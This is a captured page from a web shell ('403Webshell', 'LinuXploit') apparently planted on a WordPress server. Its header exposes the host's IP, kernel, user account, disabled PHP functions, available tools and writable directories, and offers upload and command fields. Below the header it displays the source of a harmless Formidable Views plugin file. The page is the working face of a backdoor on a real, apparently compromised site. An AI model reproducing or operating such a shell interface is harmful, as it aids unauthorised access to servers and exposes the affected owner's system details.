403Webshell
Server IP : 199.250.200.62  /  Your IP : 216.73.216.68
Web Server : Apache
System : Linux vps37394.inmotionhosting.com 3.10.0-1160.119.1.vz7.224.4 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64
User : jasonp18 ( 1000)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/jasonp18/www/wp-content/plugins/formidable-views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/jasonp18/www/wp-content/plugins/formidable-views/formidable-views.php
<?php
/*
Plugin Name: Formidable Views
Description: Add the power of views to your Formidable Forms to display your form submissions in listings, tables, calendars, and more.
Version: 4.0.05
Plugin URI: https://formidableforms.com/
Author URI: https://formidableforms.com/
Author: Strategy11
Text Domain: formidable-views
*/

if ( ! defined( 'ABSPATH' ) ) {
	die( 'You are not allowed to call this page directly.' );
}

if ( ! function_exists( 'load_formidable_views' ) ) {
	add_action( 'plugins_loaded', 'load_formidable_views', 1 );
	function load_formidable_views() {
		$is_free_installed = function_exists( 'load_formidable_forms' );
		$is_pro_installed  = function_exists( 'load_formidable_pro' );
		if ( ! $is_free_installed ) {
			add_action( 'admin_notices', 'frm_views_free_not_installed_notice' );
		} elseif ( ! $is_pro_installed ) {
			add_action( 'admin_notices', 'frm_views_pro_not_installed_notice' );
			$page = FrmAppHelper::get_param( 'page', '', 'get', 'sanitize_text_field' );
			if ( 'formidable' === $page ) {
				add_filter( 'frm_message_list', 'frm_views_pro_missing_add_message' );
			}
		} else {
			spl_autoload_register( 'frm_views_autoloader' );
			FrmViewsHooksController::load_views();
		}
	}

	function frm_views_autoloader( $class_name ) {
		// Only load Frm classes here
		if ( ! preg_match( '/^FrmViews.+$/', $class_name ) ) {
			return;
		}

		$filepath = dirname( __FILE__ );
		frm_class_autoloader( $class_name, $filepath );
	}

	function frm_views_free_not_installed_notice() {
		?>
		<div class="error">
			<p>
				<?php esc_html_e( 'Formidable Views requires Formidable Forms to be installed.', 'formidable-views' ); ?>
				<a href="<?php echo esc_url( admin_url( 'plugin-install.php?s=formidable+forms&tab=search&type=term' ) ); ?>" class="button button-primary">
					<?php esc_html_e( 'Install Formidable Forms', 'formidable-views' ); ?>
				</a>
			</p>
		</div>
		<?php
	}

	function frm_views_pro_not_installed_notice() {
		?>
		<div class="error">
			<p><?php esc_html_e( 'Formidable Views requires Formidable Forms Pro to be installed.', 'formidable-views' ); ?></p>
		</div>
		<?php
	}

	function frm_views_pro_missing_add_message( $messages ) {
		$messages['views_pro_missing'] = 'Formidable Views requires Formidable Forms Pro to be installed.';
		return $messages;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit